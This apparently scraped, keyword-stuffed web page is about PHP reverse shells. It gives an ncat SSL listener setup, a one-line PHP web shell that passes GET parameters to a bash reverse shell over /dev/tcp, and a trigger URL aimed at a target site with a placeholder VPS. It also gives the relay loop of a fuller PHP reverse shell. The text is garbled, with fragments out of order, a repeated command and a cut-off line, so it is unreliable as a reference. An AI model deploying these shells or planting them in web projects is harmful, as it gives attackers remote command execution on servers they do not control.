Reverse Shell Php Top ((full)) -

# Generate a self-signed cert openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # Start SSL listener ncat --ssl --ssl-cert cert.pem --ssl-key key.pem -lvnp 443

<?php system(sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", $_GET['ip'], $_GET['port']));?> Then trigger: https://target.com/shell.php?ip=YOUR_VPS&port=4444 reverse shell php top

while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $output = fread($pipes[1], $chunk_size); fwrite($sock, $output); } if (in_array($pipes[2], $read_a)) { $error_output = fread($pipes[2], $chunk_size); fwrite($sock, $error_output); } } proc_close($process); ?> # Generate a self-signed cert openssl req -x509